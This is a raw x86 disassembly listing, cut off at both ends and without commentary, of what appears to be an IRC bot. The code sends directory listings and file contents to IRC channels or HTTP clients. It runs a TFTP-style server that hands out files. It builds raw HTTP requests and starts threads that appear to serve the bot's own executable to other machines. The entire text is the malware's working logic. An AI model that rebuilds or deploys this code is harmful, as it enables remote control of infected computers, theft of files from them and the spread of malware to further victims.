XREF: sub_4063B0+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_4154E7 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_4067FE inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4066D2 lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_415A6A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_415A6A add esp, 28h jmp loc_40694E ; --------------------------------------------------------------------------- loc_4066D2: ; CODE XREF: sub_4063B0+2DBj cmp [ebp+arg_C], ebx jz loc_4067BC push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_415A6A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send lea eax, [ebp+var_35C] push eax call sub_415CF0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_406772 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_406777 ; --------------------------------------------------------------------------- loc_406772: ; CODE XREF: sub_4063B0+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_406777: ; CODE XREF: sub_4063B0+3C0j lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40693F ; --------------------------------------------------------------------------- loc_4067BC: ; CODE XREF: sub_4063B0+325j lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_415A6A lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_4067E9: ; CODE XREF: sub_4063B0+476j lea eax, [ebp+var_248] push esi push eax call sub_415A6A add esp, 24h jmp loc_40694E ; --------------------------------------------------------------------------- loc_4067FE: ; CODE XREF: sub_4063B0+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_406828 push ebx push [ebp+var_368] call sub_40C218 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_4067E9 ; --------------------------------------------------------------------------- loc_406828: ; CODE XREF: sub_4063B0+454j cmp [ebp+arg_C], ebx jz loc_406928 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_2 ; "%s%s" push edi push eax call sub_415A6A add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send lea eax, [ebp+var_35C] push eax call sub_415CF0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4068C8 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4068CD ; --------------------------------------------------------------------------- loc_4068C8: ; CODE XREF: sub_4063B0+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4068CD: ; CODE XREF: sub_4063B0+516j lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_415A6A add esp, 1Ch jmp short loc_40694E ; --------------------------------------------------------------------------- loc_406928: ; CODE XREF: sub_4063B0+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_40693F: ; CODE XREF: sub_4063B0+407j lea eax, [ebp+var_248] push eax call sub_415A6A add esp, 18h loc_40694E: ; CODE XREF: sub_4063B0+31Dj ; sub_4063B0+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send cmp [ebp+arg_8], ebx jz short loc_40697D push 7D0h call dword_421060 ; Sleep loc_40697D: ; CODE XREF: sub_4063B0+226j ; sub_4063B0+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call dword_4210A4 ; FindNextFileA test eax, eax jnz loc_4065D0 loc_406995: ; CODE XREF: sub_4063B0+215j push [ebp+arg_0] call dword_421098 ; FindClose cmp [ebp+arg_8], ebx jz short loc_4069D8 mov eax, [ebp+var_8] cdq push edx push eax call sub_40C218 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_40C218 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_4154E7 add esp, 14h jmp short loc_406A0C ; --------------------------------------------------------------------------- loc_4069D8: ; CODE XREF: sub_4063B0+5F1j cmp [ebp+arg_C], ebx jz short loc_4069F2 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4154E7 pop ecx pop ecx jmp short loc_406A0C ; --------------------------------------------------------------------------- loc_4069F2: ; CODE XREF: sub_4063B0+62Bj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4154E7 add esp, 10h loc_406A0C: ; CODE XREF: sub_4063B0+626j ; sub_4063B0+640j lea eax, [ebp+var_248] push ebx push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43A3E8 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_4063B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A32 proc near ; CODE XREF: sub_405F7E+13Bp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_421078 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406AEA push esi push ebx call dword_421090 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_406AE3 loc_406A77: ; CODE XREF: sub_406A32+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_415570 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A94 mov edi, [ebp+arg_4] loc_406A94: ; CODE XREF: sub_406A32+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_4210AC ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_421068 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_43A3E8 ; send cmp eax, 0FFFFFFFFh jnz short loc_406ADE call dword_43A32C ; WSAGetLastError cmp eax, 2733h jnz short loc_406AE3 xor eax, eax loc_406ADE: ; CODE XREF: sub_406A32+9Bj sub [ebp+arg_4], eax jnz short loc_406A77 loc_406AE3: ; CODE XREF: sub_406A32+43j ; sub_406A32+A8j push ebx call dword_42106C ; CloseHandle loc_406AEA: ; CODE XREF: sub_406A32+30j pop edi pop esi pop ebx leave retn sub_406A32 endp ; =============== S U B R O U T I N E ======================================= sub_406AEF proc near ; CODE XREF: sub_406100+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_415CF0 test eax, eax pop ecx jbe short loc_406B18 loc_406B02: ; CODE XREF: sub_406AEF+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406B0C mov byte ptr [esi+edi], 2Fh loc_406B0C: ; CODE XREF: sub_406AEF+17j push edi inc esi call sub_415CF0 cmp esi, eax pop ecx jb short loc_406B02 loc_406B18: ; CODE XREF: sub_406AEF+11j mov eax, edi pop edi pop esi retn sub_406AEF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B1D proc near ; CODE XREF: sub_40CE55+2AD5p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_43A310 ; WSAStartup push 6 push 1 push 2 call dword_43A418 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415570 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_43A398 ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A05B pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43A340 ; connect cmp eax, 0FFFFFFFFh jz short loc_406BFA mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B96 mov eax, offset byte_438FBC loc_406B96: ; CODE XREF: sub_406B1D+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_415A6A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_415CF0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_43A3E8 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_4155D0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_43A3B0 ; recv pop esi loc_406BFA: ; CODE XREF: sub_406B1D+6Bj push ebx call dword_43A430 ; closesocket call dword_43A2F8 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4154E7 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C3A push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C add esp, 14h loc_406C3A: ; CODE XREF: sub_406B1D+102j pop edi pop ebx leave retn sub_406B1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C3E proc near ; CODE XREF: sub_406C3E:loc_407129p ; DATA XREF: sub_407276+107o ... var_884 = dword ptr -884h var_880 = dword ptr -880h var_780 = byte ptr -780h var_580 = byte ptr -580h var_57F = byte ptr -57Fh var_57E = byte ptr -57Eh var_57D = byte ptr -57Dh var_57C = byte ptr -57Ch var_37C = dword ptr -37Ch var_378 = byte ptr -378h var_274 = byte ptr -274h var_170 = dword ptr -170h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = byte ptr -164h var_E4 = dword ptr -0E4h var_E0 = dword ptr -0E0h var_D8 = byte ptr -0D8h var_D7 = byte ptr -0D7h var_D6 = byte ptr -0D6h var_D5 = byte ptr -0D5h var_58 = byte ptr -58h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+arg_0] mov esi, offset aOctet ; "octet" lea edi, [ebp+var_1C] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_37C] push ebx push 2 rep movsd inc [ebp+var_16C] push 2 mov [ebp+var_C], eax mov [edx+2A0h], eax call dword_43A418 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_406D01 push 190h call dword_421060 ; Sleep call dword_43A32C ; WSAGetLastError push eax lea eax, [ebp+var_780] push offset unk_4272BC push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_E0], ebx jnz short loc_406CE1 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_412D4C add esp, 14h loc_406CE1: ; CODE XREF: sub_406C3E+7Ej lea eax, [ebp+var_780] push eax call sub_40B16D push [ebp+var_170] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_406D01: ; CODE XREF: sub_406C3E+50j mov eax, [ebp+var_170] push 10h imul eax, 234h push ebx mov dword_43F534[eax], edi lea eax, [ebp+var_44] push eax call sub_415570 add esp, 0Ch mov [ebp+var_44], 2 push [ebp+var_168] call dword_43A398 ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_44] push 10h push eax push edi mov [ebp+var_40], ebx call dword_43A3C4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_406D66 push 1388h call dword_421060 ; Sleep dec [ebp+var_16C] push [ebp+arg_0] jmp loc_407129 ; --------------------------------------------------------------------------- loc_406D66: ; CODE XREF: sub_406C3E+10Dj lea eax, [ebp+var_378] push offset aRb ; "rb" push eax call sub_415BE8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_8], eax jnz short loc_406DE4 push 190h call dword_421060 ; Sleep lea eax, [ebp+var_378] push eax lea eax, [ebp+var_780] push offset unk_42726C push eax call sub_4154E7 push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_412D4C lea eax, [ebp+var_780] push eax call sub_40B16D push [ebp+var_170] call sub_4152AF add esp, 28h push ebx call dword_421048 ; ExitThread loc_406DE4: ; CODE XREF: sub_406C3E+140j mov esi, 200h loc_406DE9: ; CODE XREF: sub_406C3E+4A5j mov eax, [ebp+arg_0] cmp [eax+2A0h], ebx jz loc_4070E9 mov [ebp+var_880], edi mov edi, 80h push edi lea eax, [ebp+var_D8] push ebx push eax mov [ebp+var_34], 5 mov [ebp+var_30], 1388h mov [ebp+var_884], 1 call sub_415570 add esp, 0Ch lea eax, [ebp+var_34] push eax push ebx lea eax, [ebp+var_884] push ebx push eax push ebx call dword_43A380 ; select test eax, eax jle loc_4070DD mov al, byte_438FBC mov ecx, edi mov [ebp+var_580], al xor eax, eax lea edi, [ebp+var_57F] mov [ebp+var_4], 10h rep stosd stosw stosb mov edi, [ebp+var_10] lea eax, [ebp+var_4] push eax lea eax, [ebp+var_2C] push eax push ebx lea eax, [ebp+var_D8] push 80h push eax push edi call dword_43A370 ; recvfrom push [ebp+var_28] mov [ebp+var_C], eax call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_58] push eax call sub_4154E7 cmp [ebp+var_D8], bl pop ecx pop ecx jnz loc_4070C7 cmp [ebp+var_D7], 1 jnz loc_407013 lea eax, [ebp+var_274] push eax call sub_415CF0 lea eax, [ebp+eax+var_D5] mov [ebp+var_14], eax lea eax, [ebp+var_274] push eax call sub_415CF0 push eax lea eax, [ebp+var_D6] push eax lea eax, [ebp+var_274] push eax call sub_416ED0 add esp, 14h test eax, eax jnz loc_406FCD lea eax, [ebp+var_1C] push eax call sub_415CF0 push eax lea eax, [ebp+var_1C] push [ebp+var_14] push eax call sub_416ED0 add esp, 10h test eax, eax jnz loc_406FCD push ebx push ebx push [ebp+var_8] call sub_416E3E push [ebp+var_8] lea eax, [ebp+var_57C] mov [ebp+var_580], bl mov [ebp+var_57F], 3 push esi push 1 push eax mov [ebp+var_57E], bl mov [ebp+var_57D], 1 call sub_416BB0 add esp, 1Ch lea ecx, [ebp+var_2C] mov [ebp+var_C], eax add eax, 4 push [ebp+var_4] push ecx push ebx push eax lea eax, [ebp+var_580] push eax push edi call dword_43A3FC ; sendto lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset unk_427218 loc_406F81: ; CODE XREF: sub_406C3E+484j lea eax, [ebp+var_780] push eax call sub_4154E7 add esp, 10h cmp [ebp+var_E0], ebx jnz short loc_406FBB push ebx lea eax, [ebp+var_780] push [ebp+var_E4] push eax lea eax, [ebp+var_164] push eax push [ebp+var_37C] call sub_412D4C add esp, 14h loc_406FBB: ; CODE XREF: sub_406C3E+358j lea eax, [ebp+var_780] push eax call sub_40B16D pop ecx jmp loc_4070DD ; --------------------------------------------------------------------------- loc_406FCD: ; CODE XREF: sub_406C3E+2B6j ; sub_406C3E+2D7j push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 13h push offset dword_427204 push edi call dword_43A3FC ; sendto lea eax, [ebp+var_274] push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_D8] push offset unk_4271C8 push eax call sub_4154E7 lea eax, [ebp+var_D8] push eax call sub_40B16D add esp, 14h jmp loc_4070DD ; --------------------------------------------------------------------------- loc_407013: ; CODE XREF: sub_406C3E+275j cmp [ebp+var_D7], 4 jnz loc_4070C7 mov cl, [ebp+var_D5] mov al, [ebp+var_D6] cmp cl, 0FFh mov [ebp+var_580], bl mov [ebp+var_57F], 3 jnz short loc_407050 inc al xor cl, cl mov [ebp+var_57E], al mov [ebp+var_57D], bl jmp short loc_40705E ; --------------------------------------------------------------------------- loc_407050: ; CODE XREF: sub_406C3E+3FEj inc cl mov [ebp+var_57E], al mov [ebp+var_57D], cl loc_40705E: ; CODE XREF: sub_406C3E+410j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, esi push eax push [ebp+var_8] call sub_416E3E push [ebp+var_8] loc_40707B: ; DATA XREF: .nsp0:00424DA8o ; .nsp0:00424DBCo ... lea eax, [ebp+var_57C] push esi push 1 push eax call sub_416BB0 add esp, 1Ch mov edi, eax lea eax, [ebp+var_2C] mov [ebp+var_C], edi push [ebp+var_4] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_580] push eax push [ebp+var_10] call dword_43A3FC ; sendto cmp edi, ebx jnz short loc_4070DD lea eax, [ebp+var_378] push eax lea eax, [ebp+var_58] push eax push offset dword_427178 jmp loc_406F81 ; --------------------------------------------------------------------------- loc_4070C7: ; CODE XREF: sub_406C3E+268j ; sub_406C3E+3DCj push [ebp+var_4] lea eax, [ebp+var_2C] push eax push ebx push 9 push offset dword_42716C push edi call dword_43A3FC ; sendto loc_4070DD: ; CODE XREF: sub_406C3E+204j ; sub_406C3E+38Aj ... cmp [ebp+var_C], ebx mov edi, [ebp+var_10] jg loc_406DE9 loc_4070E9: ; CODE XREF: sub_406C3E+1B4j push edi call dword_43A430 ; closesocket push [ebp+var_8] call sub_415B40 mov esi, [ebp+arg_0] dec [ebp+var_16C] pop ecx cmp [esi+2A0h], ebx jnz short loc_40711D push [ebp+var_170] call sub_4152AF pop ecx push ebx call dword_421048 ; ExitThread loc_40711D: ; CODE XREF: sub_406C3E+4CAj push 3E8h call dword_421060 ; Sleep push esi loc_407129: ; CODE XREF: sub_406C3E+123j call sub_406C3E pop edi pop esi pop ebx leave retn 4 sub_406C3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407135 proc near ; CODE XREF: sub_40CE55+5799p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4276DC push eax xor ebx, ebx call sub_4154E7 cmp dword_427338, ebx pop ecx pop ecx mov edi, 200h jz short loc_4071A3 push esi mov esi, offset dword_427340 loc_407168: ; CODE XREF: sub_407135+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4154E7 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416F10 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_407168 pop esi loc_4071A3: ; CODE XREF: sub_407135+2Bj push dword_468818 call sub_40A9B2 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4154E7 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416F10 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_200] push eax call sub_40B16D add esp, 38h pop edi pop ebx leave retn sub_407135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071FF proc near ; CODE XREF: sub_40CE55+5106p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_4151DB test eax, eax pop ecx jle short loc_40723B mov eax, [ebp+arg_C] push dword_438FE8[eax*8] call dword_43A424 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_427748 push eax call sub_4154E7 add esp, 0Ch jmp short loc_40724E ; --------------------------------------------------------------------------- loc_40723B: ; CODE XREF: sub_4071FF+13j lea eax, [ebp+var_200] push offset unk_427714 push eax call sub_4154E7 pop ecx pop ecx loc_40724E: ; CODE XREF: sub_4071FF+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D4C lea eax, [ebp+var_200] push eax call sub_40B16D add esp, 18h leave retn sub_4071FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407276 proc near ; CODE XREF: sub_40799F+4Fp var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_407606 imul eax, 3Ch xor ebx, ebx cmp dword_427344[eax], ebx jz loc_4074E7 push 4 call sub_4151DB test eax, eax pop ecx jnz loc_407606 mov eax, dword_42C188 push edi mov edi, offset dword_439964 push 104h push edi push ebx mov dword_439B74, eax mov dword_439B70, ebx call dword_42107C ; GetModuleFileNameA push 103h mov esi, offset dword_439A68 push offset byte_42C1FC push esi call sub_416D40 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_439960, eax mov eax, [ebp+arg_138] push 7Fh mov dword_439BF8, eax jnz short loc_407329 lea eax, [ebp+arg_10] push eax push offset dword_439B78 call sub_416D40 add esp, 0Ch mov dword_439BFC, 1 jmp short loc_407343 ; --------------------------------------------------------------------------- loc_407329: ; CODE XREF: sub_407276+94j lea eax, [ebp+arg_90] push eax push offset dword_439B78 call sub_416D40 add esp, 0Ch mov dword_439BFC, ebx loc_407343: ; CODE XREF: sub_407276+B1j push esi push edi push dword_439B74 lea eax, [ebp+var_204] push offset unk_4278F4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_414F93 add esp, 20h mov dword_439B6C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439960 push offset sub_406C3E push ebx push ebx call dword_42108C ; CreateThread mov ecx, dword_439B6C imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_4073B2 loc_4073A0: ; CODE XREF: sub_407276+13Aj cmp dword_439C00, ebx jnz short loc_4073CD push 32h call dword_421060 ; Sleep jmp short loc_4073A0 ; --------------------------------------------------------------------------- loc_4073B2: ; CODE XREF: sub_407276+128j call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset unk_4278AC push eax call sub_4154E7 add esp, 0Ch loc_4073CD: ; CODE XREF: sub_407276+130j lea eax, [ebp+var_204] push eax call sub_40B16D mov edi, offset dword_439FBC mov [esp+210h+var_210], 104h push edi push ebx mov dword_43A1C8, ebx call dword_42107C ; GetModuleFileNameA push 103h mov esi, offset dword_43A0C0 push offset byte_42C1FC push esi call sub_416D40 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_439FB8, eax mov eax, [ebp+arg_138] push 7Fh mov dword_43A250, eax jnz short loc_407448 lea eax, [ebp+arg_10] push eax push offset dword_43A1D0 call sub_416D40 add esp, 0Ch mov dword_43A254, 1 jmp short loc_407462 ; --------------------------------------------------------------------------- loc_407448: ; CODE XREF: sub_407276+1B3j lea eax, [ebp+arg_90] push eax push offset dword_43A1D0 call sub_416D40 add esp, 0Ch mov dword_43A254, ebx loc_407462: ; CODE XREF: sub_407276+1D0j push esi push edi push dword_43A1CC lea eax, [ebp+var_204] push offset dword_427858 push eax call sub_4154E7 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_414F93 add esp, 20h mov dword_43A1C4, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439FB8 push offset sub_405409 push ebx push ebx call dword_42108C ; CreateThread mov ecx, dword_43A1C4 pop edi imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_4074D6 loc_4074C0: ; CODE XREF: sub_407276+25Ej cmp dword_43A258, ebx jnz loc_4075F9 push 32h call dword_421060 ; Sleep jmp short loc_4074C0 ; --------------------------------------------------------------------------- loc_4074D6: ; CODE XREF: sub_407276+248j call dword_421088 ; RtlGetLastWin32Error push eax push offset dword_427814 jmp loc_4075EA ; --------------------------------------------------------------------------- loc_4074E7: ; CODE XREF: sub_407276+25j cmp dword_427348[eax], ebx jz loc_407606 push 3 call sub_4151DB test eax, eax pop ecx jnz loc_407606 mov esi, offset dword_439E94 push 104h push esi push ebx call dword_42107C ; GetModuleFileNameA push 5Ch push esi call sub_417040 pop ecx cmp eax, ebx pop ecx jz short loc_407525 mov [eax], bl loc_407525: ; CODE XREF: sub_407276+2ABj mov eax, dword_42C18C mov dword_439FAC, ebx mov dword_439F98, eax lea eax, [ebp+arg_10] push eax push offset dword_439C0C call sub_4154E7 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_439C08, eax mov ecx, [ebp+arg_138] push esi push dword_439F98 mov dword_439FA4, ecx mov ecx, [ebp+arg_13C] push eax mov dword_439FA8, ecx call sub_40A171 pop ecx push eax lea eax, [ebp+var_204] push offset unk_4277C4 push eax call sub_4154E7 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_414F93 add esp, 20h mov dword_439FA0, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_439C08 push offset sub_405B23 push ebx push ebx call dword_42108C ; CreateThread mov ecx, dword_439FA0 imul ecx, 234h cmp eax, ebx mov dword_43F53C[ecx], eax jz short loc_4075DE loc_4075CC: ; CODE XREF: sub_407276+366j cmp dword_439FB4, ebx jnz short loc_4075F9 push 32h call dword_421060 ; Sleep jmp short loc_4075CC ; --------------------------------------------------------------------------- loc_4075DE: ; CODE XREF: sub_407276+354j call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_42777C loc_4075EA: ; CODE XREF: sub_407276+26Cj lea eax, [ebp+var_204] push eax call sub_4154E7 add esp, 0Ch loc_4075F9: ; CODE XREF: sub_407276+250j ; sub_407276+35Cj lea eax, [ebp+var_204] push eax call sub_40B16D pop ecx loc_407606: ; CODE XREF: sub_407276+14j ; sub_407276+35j ... pop esi pop ebx leave retn sub_407276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40760A proc near ; CODE XREF: sub_40778B:loc_4077FCp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:438FE8h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_4155D0 add esp, 0Ch push [ebp+arg_0] call dword_43A2CC ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_43A394 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] 